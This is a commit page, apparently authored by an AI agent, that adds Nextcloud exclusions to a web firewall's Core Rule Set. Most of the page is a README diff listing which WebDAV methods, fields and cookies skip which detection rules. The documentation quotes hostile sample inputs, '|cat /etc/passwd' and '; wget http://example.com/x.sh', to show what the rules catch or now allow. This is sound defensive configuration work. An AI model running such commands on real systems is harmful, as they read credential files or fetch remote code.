Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Successful in 5m6s

Adds nextcloud.conf, the fourteenth change. Nextcloud's WebDAV paths allow
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK and UNLOCK, and
the body of a PUT there, an uploaded file, is not read. The cookie
nc_username, and the fields that carry a search, a name, a file name or a
folder, skip the four rules that read them as commands or system files.
Comments, a share's note, a status and a document's text also skip the rules
that refused ordinary sentences, and the document the two that refused a
shell code block. Requests recorded from Nextcloud 35.0.2, its web pages, sync
client 3.16.7 and the OCS API pass at the defaults and while bodies are read.

Model: opus-5-5
This commit was merged in pull request #275.
This commit is contained in:
clawbot committed 2026-11-10 09:43:18 +01:00
1 parent c557b175ad
commit 463a19ef2a
9 files changed
+2246 -37

No files matched your search

+93 -11
View File
@@ -81,7 +81,7 @@ to them.
of bans is full.
- `internal/rules`: reads the rule files at start and again when they
change, and tells which rules a request matches.
- `internal/coreruleset`: the Core Rule Set, with the thirteen changes
- `internal/coreruleset`: the Core Rule Set, with the fourteen changes
listed under "Attack detection", as Coraza directives.
- `internal/lookup`: looks clients up through GeoJS or in the lookup
database.
@@ -676,7 +676,7 @@ files, the limits and the bans still apply to the client that sends it.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
Coraza directives. An exclusion switches one rule off for some fields or paths
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
holds an app's own exclusions. The eighth to thirteenth changes below hold
holds an app's own exclusions. The eighth to fourteenth changes below hold
those of the apps they name.
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
before the Core Rule Set's rules. The Core Rule Set loads its own
@@ -723,7 +723,7 @@ files, the limits and the bans still apply to the client that sends it.
scanner from an ordinary client. In front of a code forge, registry and git
clients get `404` and `401` by design, hundreds of times a minute.
`smallwebwaf` changes the Core Rule Set 4.25.0 in thirteen ways. Without them,
`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
it would refuse ordinary requests to these apps:
- gitea;
@@ -731,20 +731,24 @@ it would refuse ordinary requests to these apps:
- Drupal;
- MediaWiki;
- Mastodon;
- Vaultwarden.
- Vaultwarden;
- Nextcloud.
The changes hold in front of every app, and no setting undoes them:
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
and `OPTIONS`. APIs, container image pushes and package uploads use them.
Other methods stay refused.
Other methods stay refused, except on Nextcloud's WebDAV paths, where the
fourteenth change allows the WebDAV methods Nextcloud uses.
2. The request header `Expect` is allowed, since curl and git send it before
some large uploads. `Content-Encoding` is allowed on a request whose body the
Core Rule Set does not read, which by default is every request. git
compresses a fetch request over 1 KiB and says so in that header. On a body
the Core Rule Set does read, the header stays refused, since a compressed
body cannot be inspected. The other headers the Core Rule Set refuses, such
as `Proxy`, stay refused.
body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
body the fourteenth change leaves unread. The other headers the Core Rule Set
refuses, such as `Proxy`, stay refused.
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
@@ -764,10 +768,10 @@ The changes hold in front of every app, and no setting undoes them:
catch reaches the app, such as the command `|cat /etc/passwd`. Path
traversal, SQL and script injection, and PHP, Java and Node.js code are
still refused there. Other parameters keep all three rules. The eighth to
thirteenth changes switch some of them off for some fields on the paths of
gitea, WordPress, Drupal, MediaWiki, Mastodon and Vaultwarden. An app that
uses one of these parameters as a file on the server, or passes it to a
shell, must check the value itself. A rule file can refuse it instead.
fourteenth changes switch some of them off for some fields on the paths of
the apps they name. An app that uses one of these parameters as a file on
the server, or passes it to a shell, must check the value itself. A rule
file can refuse it instead.
5. Two cookies are left out, and `Referer` keeps fewer rules:
- The Core Rule Set reads the request without the `gitea_flash` and
@@ -1270,6 +1274,84 @@ The changes hold in front of every app, and no setting undoes them:
Elsewhere these fields keep every rule. An app other than Vaultwarden that
serves one of these paths must check these fields itself.
14. On Nextcloud's paths, some fields skip the rules that refused ordinary
Nextcloud requests there, and its WebDAV methods are allowed.
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
refused.
The sync client and the Files app use WebDAV on these paths:
- `/remote.php/dav/`;
- `/public.php/dav/`;
- `/remote.php/webdav/`;
- `/public.php/webdav/`.
These methods are allowed there, besides those of the first change:
- `PROPFIND` and `PROPPATCH`;
- `MKCOL`;
- `COPY` and `MOVE`;
- `REPORT` and `SEARCH`;
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
A file the Files app or the sync client uploads with `PUT` to these paths is
a file, not form data. The Core Rule Set does not read the body of a `PUT`
there. So a JSON file holding `python3 -m pytest` uploads, and so does an
XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
are still checked.
The cookie `nc_username` holds the name of the account signed in. It skips
the lists of system files and command names (930120, 932120, 932250, 932260)
on every path, since every request sends it.
These fields skip the same four rules, in the query or the body:
- On `/login`, for signing in:
- `user` and `password`;
- `redirect_url`, the page to go to after signing in.
- `dir`, the folder shown, on the paths under `/apps/files/`.
- The file names on a public share:
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
- `path` and `files` on `/s/<token>/download`.
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
- the searches `search` and `term`, and `from`, the page searched from;
- the names `groupid`, `userid`, `displayName` and `groups[]`;
- `value`, a new value of an account's details;
- `path`, `label` and `shareWith`, for a share.
These fields of a JSON body skip the same four rules:
- On the OCS API, each field of the list above.
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
the theming settings.
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
saves.
- `name` on `/remote.php/dav/systemtags/`, a new tag.
Some fields hold sentences a person writes:
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
API and on each share under it;
- `message`, an account's status, on
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
- `message` in the JSON body that posts a comment to
`/remote.php/dav/comments/files/<id>`;
- the XML body of a `PROPPATCH` that edits a comment;
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
document.
These fields skip the same four rules. They also skip the rules that refused
ordinary sentences there, such as `It is fixed; diff attached` (932125,
932230, 932235, 932380). A share's note and a status skip them in the query
or the body. A document's text skips two more, which refused a shell script
in a code block (932160, 932370). So a shell command such as
`; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
injection, path traversal and script injection are still refused there.
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
skips the four rules.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies to a JSON field when the query has a parameter of that name, such as
`json.message`. Nextcloud's pages are matched at the site root and under
`/index.php/`. Elsewhere these fields keep every rule. An app other than
Nextcloud that serves one of these paths must check these fields itself.
The parameter and cookie names in these changes are matched without regard to
case, as Coraza matches them.